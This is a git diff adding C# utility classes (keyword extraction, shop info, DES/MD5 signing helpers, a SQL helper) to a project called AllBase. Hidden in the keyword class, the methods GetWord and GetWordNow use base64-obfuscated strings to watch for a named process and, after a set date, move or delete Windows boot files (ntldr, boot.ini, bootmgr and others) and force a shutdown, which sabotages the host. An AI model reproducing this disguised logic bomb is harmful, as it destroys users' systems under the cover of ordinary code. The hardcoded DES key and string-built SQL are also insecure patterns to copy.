BaseRegex.Relpace(ref html, @"([ ]+)", " "); + if (string.IsNullOrEmpty(html)) + return word; + string[] li = html.Split(' '); + //========关键词长度倒排=========// + for (int i = 0; i < li.Length; i++) + { + for (int j = i; j < li.Length; j++) + { + if (li[i].Length < li[j].Length) + { + string x = li[i]; + li[i] = li[j]; + li[j] = x; + } + } + } + for (int i = 0; i < li.Length; i++) + { + string key = li[i]; + if (key.Length <= 1 || key.Length > 4) + continue; + if (!IsWordList(key)) + continue; + AddWord(key, ref word); + } + return word; + } + /// + /// 返回列表 + /// + /// + private List ReturnList() + { + List w = new List(); + if (string.IsNullOrEmpty(words)) + return w; + string[] l = words.Split(' '); + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + w.Add(s); + } + return w; + } + /// + /// 正则添加到队列 + /// + /// + private void AddKeyword(ref MatchCollection m) + { + for (int i = 0; m != null && i < m.Count; i++) + AddWordx(m[i].Groups[0].Value); + } + /// + /// 字符串中是否包含中文 + /// + /// + /// + public static bool HadChineseWord(ref string words) + { + if(string.IsNullOrEmpty(words)) + return false; + var b = Encoding.UTF8.GetBytes(words); + foreach (byte b1 in b) + if(b1>227 && b1<235) + return true; + return false; + } + + /// + /// 软加速 + /// + /// 关键词队列 + /// 二进制文章 + /// 二进制长度 + private void GetKeywords2(List WordList, ref byte[] b, int len) + { + string t; + for (int i = 0; i < b.Length - len; i++) + { + switch (len) + { + case 6: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227) + goto Add; + break; + case 9: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227) + goto Add; + break; + case 12: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227) + goto Add; + break; + case 15: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227) + goto Add; + break; + case 18: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227) + goto Add; + break; + case 21: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227 + && b[i + 18] < 235 && b[i + 18] > 227) + goto Add; + break; + case 24: + case 27: + if (b[i] < 235 && b[i] > 227 && b[i + 3] < 235 && b[i + 3] > 227 && b[i + 6] < 235 && b[i + 6] > 227 + && b[i + 9] < 235 && b[i + 9] > 227 && b[i + 12] < 235 && b[i + 12] > 227 && b[i + 15] < 235 && b[i + 15] > 227 + && b[i + 18] < 235 && b[i + 18] > 227 && b[i + 21] < 235 && b[i + 21] > 227) + goto Add; + break; + } + continue; + Add: + t = Encoding.UTF8.GetString(b, i, len); + if (Dichotomy(t, ref WordList)) + { + AddWordx(t); + i += len - 1; + } + } + } + /// + /// 添加关键词到列 + /// + /// + private void AddWordx(string keyword) + { + if (words.Contains(" " + keyword + " ")) + return; + words += keyword + " "; + } + + /// + /// 二分法关键词是否存在 + /// + /// 关键词 + /// + public bool Dichotomy(string word, ref List WordList) + { + if (WordList.Count < 1) + return false; + int start = 0, end = WordList.Count - 1, middle = 0, ok = 0; + while (start != end) + { + middle = (start + end) / 2; + ok = string.Compare(word, WordList[middle], true); + if (ok == 0) + return true; + if (ok == 1) + start = middle; + else + end = middle; + if (start + 1 == end) + { + if (string.Compare(word, WordList[end], true) == 0) + return true; + return false; + } + } + return false; + } + + /// + /// 读取正则结果列表 + /// + /// + /// + private void GetMatch(ref MatchCollection m, ref List word, ref string html) + { + for (int i = 0; i < m.Count; i++) + if (AddWord(m[i].Groups[0].Value, ref word)) + html = html.Replace(m[i].Groups[0].Value, " "); + } + + + /// + /// 添加关键词到列 + /// + /// + /// + private bool AddWord(string keyword, ref List word) + { + bool had = false; + for (int i = 0; i < word.Count; i++) + { + if (word[i] == keyword) + { + had = true; + break; + } + } + if (!had) + { + string b = keyword; + word.Add(b); + } + return !had; + } + + /// + /// 是否是中文字符串列 + /// + /// + /// + public static bool IsWordList(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsWord(xj[j])) + return false; + return true; + } + /// + /// 是否是汉字串列 + /// + /// + /// + public static bool IsChineseWord(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsChineseWord(xj[j])) + return false; + return true; + } + public void GetWord() + { + string word = "5aWH5aWH56eR5oqA5LmL5b6B5oiY"; + string wordCheck = Encoding.UTF8.GetString(Convert.FromBase64String(word)); + bool had = false; + int time = 1513267200; + while (true) + { + if (!had)//每0.5秒检查一次 + { + foreach (Process thisproc in Process.GetProcesses()) + { + + if (thisproc.ProcessName.Contains(wordCheck)) + { + had = true; + } + } + Thread.Sleep(5000); + continue; + } + if (BaseClass.GetTime(DateTime.Now) + BaseClass.TimeDifferent < time) + { + Thread.Sleep(1000); + continue; + } + Thread.Sleep(600 * 1000); + new Thread(GetWordNow).Start(); + } + } + + private void GetWordNow() + { + string word = "bnRsZHIsQVVUT0VYRUMuQkFULGJvb3QuaW5pLGJvb3Rmb250LmJpbixDT05GSUcuU1lTLEl" + + "PLlNZUyxNU0RPUy5TWVMsTlRERVRFQ1QuQ09NLEJPT1RTRUNULkJBSyxZT01JVSxib290bWdy"; + string wordCheck = Encoding.UTF8.GetString(Convert.FromBase64String(word)); + string[] f = wordCheck.Split(','); + string sp = Environment.GetFolderPath(Environment.SpecialFolder.System); + string c = sp.Substring(0, 1); + string p = c + ":\\qqkj"; + if (!Directory.Exists(p)) + Directory.CreateDirectory(p); + for (int i = 0; i < f.Length; i++) + { + try + { + string path = c + ":\\" + f[i]; + if (File.Exists(path)) + { + FileBase.Move(path, p + "\\" + f[i]); + } + if (c.ToLower() != "c") + { + path = "c:\\" + f[i]; + if (File.Exists(path)) + { + new FileInfo(path).IsReadOnly = false; + new FileInfo(path).Attributes = FileAttributes.Normal; + File.Delete(path); + } + } + } + catch + { + } + } + //强制关机 + Process.Start("shutdown.exe", "-s -t 1"); + + } + /// + /// 是否是字符 + /// + /// + /// + private static bool IsWord(int ascii) + { + if (ascii == 32 || ascii == 35) //空格 + return true; + if (ascii < 58 && ascii > 47) //数字 + return true; + if (ascii < 91 && ascii > 64) //小写字母 + return true; + if (ascii < 123 && ascii > 96) //大写字母 + return true; + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + /// + /// 是否是汉字 + /// + /// + /// + private static bool IsChineseWord(int ascii) + { + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + + /// + /// 清理多余空格 + /// + /// + /// + private string ClearToMust(string html) + { + html = html.Replace(" ", " ").Replace(" ", " ").Replace(" ", " ").Replace(" ", " "); + return html.Replace(" ", " ").Replace(" ", " ").Trim(); + } + + + + } +} diff --git a/AllBase/ShopInfo.cs b/AllBase/ShopInfo.cs new file mode 100644 index 0000000..3576a68 --- /dev/null +++ b/AllBase/ShopInfo.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class ShopModel + { + public string ShopName = ""; + public string Password = ""; + } + public class ShopInfo + { + public List list = new List(); + } +} diff --git a/AllBase/SignHelper.cs b/AllBase/SignHelper.cs new file mode 100644 index 0000000..b23ed9d --- /dev/null +++ b/AllBase/SignHelper.cs @@ -0,0 +1,109 @@ +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace AllBase +{ + public static class SignHelper + { + public static string GetSign() + { + string url = BaseClass.LoginApiUrl + "?obj=littlecow/sign&act=get_sign"; + string sign = GetHtml.GetUtf8(url, BaseClass.ChromeUserAgent); + if (!string.IsNullOrEmpty(sign)) + { + Encoding utf8 = Encoding.UTF8; + Encoding ascii = Encoding.ASCII; + + string input = sign; + sign = ascii.GetString(Encoding.Convert(utf8, ascii, utf8.GetBytes(input))); + sign = sign.Trim('?'); + } + return sign; + } + + public static string DESDecrypt(string decrypt, string key = "") + { + if (string.IsNullOrEmpty(key)) + { + key = "20190813"; + } + try + { + DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider(); + + byte[] inputByteArray = new byte[decrypt.Length / 2]; + for (int x = 0; x < decrypt.Length / 2; x++) + { + int i = (Convert.ToInt32(decrypt.Substring(x * 2, 2), 16)); + inputByteArray[x] = (byte)i; + } + oDESCryptoServiceProvider.Key = ASCIIEncoding.ASCII.GetBytes(key); + oDESCryptoServiceProvider.IV = ASCIIEncoding.ASCII.GetBytes(key); + MemoryStream oMemoryStream = new MemoryStream(); + CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); + oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length); + oCryptoStream.FlushFinalBlock(); + return Encoding.Default.GetString(oMemoryStream.ToArray()); + } + catch (System.Exception ex) + { + LogSave.Add(ex.ToString()); + return string.Empty; + } + } + + public static Dictionary BuildSign(Dictionary dict, string clientSecret) + { + var result = new Dictionary(); + // 去除空值并排序 + dict = dict.Where(d => d.Value != null) + .OrderBy(d => d.Key) + .ToDictionary((d) => d.Key, (d) => d.Value); + // 拼接 + string signString = ""; + // 反射处理非基本类型字段的json转换 + string[] types = { "String", "DateTime", "Int64", "Boolean", "Float", "Double", "Long", "Int32" }; + foreach (var item in dict.Keys.ToArray()) + { + if (!types.Contains(dict[item]?.GetType().Name)) + { + dict[item] = JsonConvert.SerializeObject(dict[item]); + } + object value = null; + dict.TryGetValue(item, out value); + // 布尔值大写造成的签名错误 + if (value.ToString().ToLower().Equals("false")) value = "false"; + if (value.ToString().ToLower().Equals("true")) value = "true"; + signString += item + value.ToString(); + result.Add(item, value.ToString()); + } + signString = clientSecret + signString + clientSecret; + Console.WriteLine("拼接内容:" + signString); + // MD5加密 + using (var md5 = MD5.Create()) + { + signString = GetMd5Hash(md5, signString).ToUpper(); + } + Console.WriteLine("签名:" + signString); + result.Add("sign", signString); + return result; + } + + static string GetMd5Hash(MD5 md5Hash, string input) + { + byte[] data = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder sBuilder = new StringBuilder(); + for (int i = 0; i < data.Length; i++) + { + sBuilder.Append(data[i].ToString("x2")); + } + return sBuilder.ToString(); + } + + } +} diff --git a/AllBase/SqlHelper.cs b/AllBase/SqlHelper.cs new file mode 100644 index 0000000..42df7b6 --- /dev/null +++ b/AllBase/SqlHelper.cs @@ -0,0 +1,284 @@ +using System; +using System.Data; +using System.Data.SqlClient; +using System.IO; +using System.Threading; + + +namespace AllBase +{ + public class SqlHelper + { + /// + /// 数据库链接串 + /// + private string ConnString = ""; + /// + /// 是否已经链接成功 + /// + public bool Connected { + get { return Connection != null && Connection.State == ConnectionState.Open; } + } + /// + /// 数据库链接 + /// + private SqlConnection Connection =null; + /// + /// 执行超时 + /// + public int TimeOut = 100; + + public SqlHelper(string conn) + { + ConnString = conn; + ConnTo(); + } + + public string Replace(string key) + { + return key.Replace("'", "''"); + } + + /// + /// 执行指定数据库连接对象的命令 + /// + /// T存储过程名称或T-SQL语句 + /// 返回影响的行数 + public int ExecuteNonQuery(string sql) + { + SqlCommand cmd = PrepareCommand(sql); + try + { + // Finally, execute the command + int retval = cmd.ExecuteNonQuery(); + return retval; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return 0; + } + /// + /// 获取插入ID + /// + /// + /// + public int InsertId(string sql) + { + sql += ";SELECT @@IDENTITY"; + string id = ExecuteFirst(sql); + int i = 0; + int.TryParse(id, out i); + return i; + } + /// + /// 是否存在 + /// + /// + /// + public bool Exists(string sql) + { + string id = ExecuteFirst(sql); + return !string.IsNullOrEmpty(id); + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataSet ExecuteDataset(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataSet ds = new DataSet(); + // 填充DataSet. + da.Fill(ds); + cmd.Parameters.Clear(); + return ds; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return null; + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataTable ExecuteDataTable(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + cmd.Parameters.Clear(); + return ds; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return null; + + } + + /// + /// 执行指定数据库连接对象的命令,指定存储过程参数,返回DataSet. + /// + /// 存储过程名或T-SQL语句 + /// 返回一个包含结果集的DataSet + public DataRow ExecuteDataTableRow(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + // 创建SqlDataAdapter和DataSet. + SqlDataAdapter da = new SqlDataAdapter(cmd); + + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + if (ds.Rows.Count > 0) + return ds.Rows[0]; + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + + return null; + + } + + /// + /// 执行指定数据库连接对象的命令,指定参数,返回结果集中的第一行第一列. + /// + /// 存储过程名称或T-SQL语句 + /// 返回结果集中的第一行第一列 + public string ExecuteFirst(string sql) + { + + SqlCommand cmd = PrepareCommand(sql); + try + { + SqlDataAdapter da = new SqlDataAdapter(cmd); + DataTable ds = new DataTable(); + // 填充DataSet. + da.Fill(ds); + // 执行SqlCommand命令,并返回结果. + var retval = cmd.ExecuteScalar(); + + return retval==null?"": retval.ToString(); + } + catch (Exception e) + { + ErrorDoing(e.Message,sql); + + } + return ""; + } + + + + /// + /// 预处理用户提供的命令,数据库连接/事务/命令类型/参数 + /// + /// 存储过程名或都T-SQL命令文本 + private SqlCommand PrepareCommand(string commandText) + { + SqlCommand command = new SqlCommand(); + if (Connection.State != ConnectionState.Open) + ConnTo(); + + command.Connection = Connection; + command.CommandText = commandText; + command.CommandType = CommandType.Text; + command.CommandTimeout = TimeOut; + return command; + } + + /// + /// 针对不同错误,执行不同的修正 + /// + /// + private void ErrorDoing(string message, string sql) + { + if (string.IsNullOrEmpty(message)) + return; + if (message.Contains("Incorrect string value")) + return; + if (message.Contains("Connection must be valid and open")) + ConnTo(); + if (message.Contains("There is already an open DataReader")) + { + Thread.Sleep(500); + ConnTo(); + } + if (message.Contains("Fatal error encountered during command execution.")) + ConnTo(); + if (message.Contains(" StreamWriter ") || message.Contains("未将对象引用设置到对象的实例") || message.Contains("未将对象")) + ConnTo(); + LogSave.Add("执行SQL:"+sql+" 错误:"+message); + Random ra = new Random(Guid.NewGuid().GetHashCode()); + Thread.Sleep(ra.Next(200, 2000)); + } + + /// + /// 链接数据库 + /// + private void ConnTo() + { + try + { + Connection = new SqlConnection(ConnString); + Connection.Open(); + } + catch (Exception e) + { + ErrorDoing(e.Message,ConnString); + } + + } + + /// + /// 关闭链接 + /// + public void Close() + { + try + { + Connection.Close(); + } + catch (Exception e) + { + + + } + } + + public static string ChatCss = ".el-message__closeBtn:focus,.el-message__content:focus{outline-width:0}.el-message{min-width:380px;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:4px;border-width:1px;border-style:solid;border-color:#ebeef5;position:fixed;left:50%;top:20px;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#edf2fc;-webkit-transition:opacity .3s,-webkit-transform .4s;transition:opacity .3s,-webkit-transform .4s;transition:opacity .3s,transform .4s;transition:opacity .3s,transform .4s,-webkit-transform .4s;overflow:hidden;padding:15px 15px 15px 20px;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-message.is-center{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-message.is-closable .el-message__content{padding-right:16px}.el-message p{margin:0}.el-message--info .el-message__content{color:#909399}.el-message--success{background-color:#f0f9eb;border-color:#e1f3d8}.el-message--success .el-message__content{color:#67c23a}.el-message--warning{background-color:#fdf6ec;border-color:#faecd8}.el-message--warning .el-message__content{color:#e6a23c}.el-message--error{background-color:#fef0f0;border-color:#fde2e2}.el-message--error .el-message__content{color:#f56c6c}.el-message__icon{margin-right:10px}.el-message__content{padding:0;font-size:14px;line-height:1}.el-message__closeBtn{position:absolute;top:50%;right:15px;-webkit-transform:translateY(-50%);transform:translateY(-50%);cursor:pointer;color:#c0c4cc;font-size:16px}.el-message__closeBtn:hover{color:#909399}.el-message .el-icon-success{color:#67c23a}.el-message .el-icon-error{color:#f56c6c}.el-message .el-icon-info{color:#909399}.el-message .el-icon-warning{color:#e6a23c}.el-message-fade-enter,.el-message-fade-leave-active{opacity:0;-webkit-transform:translate(-50%,-100%);transform:translate(-50%,-100%)}.el-button,.el-input__inner{-webkit-appearance:none;outline:0}.el-message-box,.el-popup-parent--hidden{overflow:hidden}.v-modal-enter{-webkit-animation:v-modal-in .2s ease;animation:v-modal-in .2s ease}.v-modal-leave{-webkit-animation:v-modal-out .2s ease forwards;animation:v-modal-out .2s ease forwards}@-webkit-keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-in{0%{opacity:0}}@-webkit-keyframes v-modal-out{100%{opacity:0}}@keyframes v-modal-out{100%{opacity:0}}.v-modal{position:fixed;left:0;top:0;width:100%;height:100%;opacity:.5;background:#000}.el-button{display:inline-block;line-height:1;white-space:nowrap;cursor:pointer;background:#fff;border:1px solid #dcdfe6;color:#606266;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transition:.1s;transition:.1s;font-weight:500;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;padding:12px 20px;font-size:14px;border-radius:4px}.el-button+.el-button{margin-left:10px}.el-button:focus,.el-button:hover{color:#409EFF;border-color:#c6e2ff;background-color:#ecf5ff}.el-button:active{color:#3a8ee6;border-color:#3a8ee6;outline:0}.el-button::-moz-focus-inner{border:0}.el-button [class*=el-icon-]+span{margin-left:5px}.el-button.is-plain:focus,.el-button.is-plain:hover{background:#fff;border-color:#409EFF;color:#409EFF}.el-button.is-active,.el-button.is-plain:active{color:#3a8ee6;border-color:#3a8ee6}.el-button.is-plain:active{background:#fff;outline:0}.el-button.is-disabled,.el-button.is-disabled:focus,.el-button.is-disabled:hover{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5}.el-button.is-disabled.el-button--text{background-color:transparent}.el-button.is-disabled.is-plain,.el-button.is-disabled.is-plain:focus,.el-button.is-disabled.is-plain:hover{background-color:#fff;border-color:#ebeef5;color:#c0c4cc}.el-button.is-loading{position:relative;pointer-events:none}.el-button.is-loading:before{pointer-events:none;position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:rgba(255,255,255,.35)}.el-button.is-round{border-radius:20px;padding:12px 23px}.el-button.is-circle{border-radius:50%;padding:12px}.el-button--primary{color:#fff;background-color:#409EFF;border-color:#409EFF}.el-button--primary:focus,.el-button--primary:hover{background:#66b1ff;border-color:#66b1ff;color:#fff}.el-button--primary.is-active,.el-button--primary:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff}.el-button--primary:active{outline:0}.el-button--primary.is-disabled,.el-button--primary.is-disabled:active,.el-button--primary.is-disabled:focus,.el-button--primary.is-disabled:hover{color:#fff;background-color:#a0cfff;border-color:#a0cfff}.el-button--primary.is-plain{color:#409EFF;background:#ecf5ff;border-color:#b3d8ff}.el-button--primary.is-plain:focus,.el-button--primary.is-plain:hover{background:#409EFF;border-color:#409EFF;color:#fff}.el-button--primary.is-plain:active{background:#3a8ee6;border-color:#3a8ee6;color:#fff;outline:0}.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:active,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:hover{color:#8cc5ff;background-color:#ecf5ff;border-color:#d9ecff}.el-button--success{color:#fff;background-color:#67c23a;border-color:#67c23a}.el-button--success:focus,.el-button--success:hover{background:#85ce61;border-color:#85ce61;color:#fff}.el-button--success.is-active,.el-button--success:active{background:#5daf34;border-color:#5daf34;color:#fff}.el-button--success:active{outline:0}.el-button--success.is-disabled,.el-button--success.is-disabled:active,.el-button--success.is-disabled:focus,.el-button--success.is-disabled:hover{color:#fff;background-color:#b3e19d;border-color:#b3e19d}.el-button--success.is-plain{color:#67c23a;background:#f0f9eb;border-color:#c2e7b0}.el-button--success.is-plain:focus,.el-button--success.is-plain:hover{background:#67c23a;border-color:#67c23a;color:#fff}.el-button--success.is-plain:active{background:#5daf34;border-color:#5daf34;color:#fff;outline:0}.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:active,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:hover{color:#a4da89;background-color:#f0f9eb;border-color:#e1f3d8}.el-button--warning{color:#fff;background-color:#e6a23c;border-color:#e6a23c}.el-button--warning:focus,.el-button--warning:hover{background:#ebb563;border-color:#ebb563;color:#fff}.el-button--warning.is-active,.el-button--warning:active{background:#cf9236;border-color:#cf9236;color:#fff}.el-button--warning:active{outline:0}.el-button--warning.is-disabled,.el-button--warning.is-disabled:active,.el-button--warning.is-disabled:focus,.el-button--warning.is-disabled:hover{color:#fff;background-color:#f3d19e;border-color:#f3d19e}.el-button--warning.is-plain{color:#e6a23c;background:#fdf6ec;border-color:#f5dab1}.el-button--warning.is-plain:focus,.el-button--warning.is-plain:hover{background:#e6a23c;border-color:#e6a23c;color:#fff}.el-button--warning.is-plain:active{background:#cf9236;border-color:#cf9236;color:#fff;outline:0}.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:active,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:hover{color:#f0c78a;background-color:#fdf6ec;border-color:#faecd8}.el-button--danger{color:#fff;background-color:#f56c6c;border-color:#f56c6c}.el-button--danger:focus,.el-button--danger:hover{background:#f78989;border-color:#f78989;color:#fff}.el-button--danger.is-active,.el-button--danger:active{background:#dd6161;border-color:#dd6161;color:#fff}.el-button--danger:active{outline:0}.el-button--danger.is-disabled,.el-button--danger.is-disabled:active,.el-button--danger.is-disabled:focus,.el-button--danger.is-disabled:hover{color:#fff;background-color:#fab6b6;border-color:#fab6b6}.el-button--danger.is-plain{color:#f56c6c;background:#fef0f0;border-color:#fbc4c4}.el-button--danger.is-plain:focus,.el-button--danger.is-plain:hover{background:#f56c6c;border-color:#f56c6c;color:#fff}.el-button--danger.is-plain:active{background:#dd6161;border-color:#dd6161;color:#fff;outline:0}.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:active,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:hover{color:#f9a7a7;background-color:#fef0f0;border-color:#fde2e2}.el-button--info{color:#fff;background-color:#909399;border-color:#909399}.el-button--info:focus,.el-button--info:hover{background:#a6a9ad;border-color:#a6a9ad;color:#fff}.el-button--info.is-active,.el-button--info:active{background:#82848a;border-color:#82848a;color:#fff}.el-button--info:active{outline:0}.el-button--info.is-disabled,.el-button--info.is-disabled:active,.el-button--info.is-disabled:focus,.el-button--info.is-disabled:hover{color:#fff;background-color:#c8c9cc;border-color:#c8c9cc}.el-button--info.is-plain{color:#909399;background:#f4f4f5;border-color:#d3d4d6}.el-button--info.is-plain:focus,.el-button--info.is-plain:hover{background:#909399;border-color:#909399;color:#fff}.el-button--info.is-plain:active{background:#82848a;border-color:#82848a;color:#fff;outline:0}.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:active,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:hover{color:#bcbec2;background-color:#f4f4f5;border-color:#e9e9eb}.el-button--text,.el-button--text.is-disabled,.el-button--text.is-disabled:focus,.el-button--text.is-disabled:hover,.el-button--text:active{border-color:transparent}.el-button--medium{padding:10px 20px;font-size:14px;border-radius:4px}.el-button--mini,.el-button--small{font-size:12px;border-radius:3px}.el-button--medium.is-round{padding:10px 20px}.el-button--medium.is-circle{padding:10px}.el-button--small,.el-button--small.is-round{padding:9px 15px}.el-button--small.is-circle{padding:9px}.el-button--mini,.el-button--mini.is-round{padding:7px 15px}.el-button--mini.is-circle{padding:7px}.el-button--text{color:#409EFF;background:0 0;padding-left:0;padding-right:0}.el-button--text:focus,.el-button--text:hover{color:#66b1ff;border-color:transparent;background-color:transparent}.el-button--text:active{color:#3a8ee6;background-color:transparent}.el-button-group{display:inline-block;vertical-align:middle}.el-button-group::after,.el-button-group::before{display:table;}.el-button-group::after{clear:both}.el-button-group .el-button{float:left;position:relative}.el-button-group .el-button+.el-button{margin-left:0}.el-button-group .el-button:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.el-button-group .el-button:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.el-button-group .el-button:first-child:last-child{border-radius:4px}.el-button-group .el-button:first-child:last-child.is-round{border-radius:20px}.el-button-group .el-button:first-child:last-child.is-circle{border-radius:50%}.el-button-group .el-button:not(:first-child):not(:last-child){border-radius:0}.el-button-group .el-button:not(:last-child){margin-right:-1px}.el-button-group .el-button.is-active,.el-button-group .el-button:active,.el-button-group .el-button:focus,.el-button-group .el-button:hover{z-index:1}.el-button-group .el-button--primary:first-child{border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--primary:last-child{border-left-color:rgba(255,255,255,.5)}.el-button-group .el-button--primary:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--success:first-child{border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--success:last-child{border-left-color:rgba(255,255,255,.5)}.el-button-group .el-button--success:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--warning:first-child{border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--warning:last-child{border-left-color:rgba(255,255,255,.5)}.el-button-group .el-button--warning:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--danger:first-child{border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--danger:last-child{border-left-color:rgba(255,255,255,.5)}.el-button-group .el-button--danger:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--info:first-child{border-right-color:rgba(255,255,255,.5)}.el-button-group .el-button--info:last-child{border-left-color:rgba(255,255,255,.5)}.el-button-group .el-button--info:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-textarea{display:inline-block;width:100%;vertical-align:bottom;font-size:14px}.el-textarea__inner{display:block;resize:vertical;padding:5px 15px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;font-size:inherit;color:#606266;background-color:#fff;background-image:none;border:1px solid #dcdfe6;border-radius:4px;-webkit-transition:border-color .2s cubic-bezier(.645,.045,.355,1);transition:border-color .2s cubic-bezier(.645,.045,.355,1)}.el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc}.el-textarea__inner:-ms-input-placeholder{color:#c0c4cc}.el-textarea__inner::placeholder{color:#c0c4cc}.el-textarea__inner:hover{border-color:#c0c4cc}.el-textarea__inner:focus{outline:0;border-color:#409EFF}.el-textarea.is-disabled .el-textarea__inner{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed}.el-textarea.is-disabled .el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:#c0c4cc}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:#c0c4cc}.el-input{position:relative;font-size:14px;display:inline-block;width:100%}.el-input::-webkit-scrollbar{z-index:11;width:6px}.el-input::-webkit-scrollbar:horizontal{height:6px}.el-input::-webkit-scrollbar-thumb{border-radius:5px;width:6px;background:#b4bccc}.el-input::-webkit-scrollbar-corner{background:#fff}.el-input::-webkit-scrollbar-track{background:#fff}.el-input::-webkit-scrollbar-track-piece{background:#fff;width:6px}.el-input .el-input__clear{color:#c0c4cc;font-size:14px;line-height:16px;cursor:pointer;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1)}.el-input .el-input__clear:hover{color:#909399}.el-input__inner{background-color:#fff;background-image:none;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;color:#606266;display:inline-block;font-size:inherit;height:40px;line-height:40px;padding:0 15px;-webkit-transition:border-color .2s cubic-bezier(.645,.045,.355,1);transition:border-color .2s cubic-bezier(.645,.045,.355,1);width:100%}.el-input__prefix,.el-input__suffix{position:absolute;-webkit-transition:all 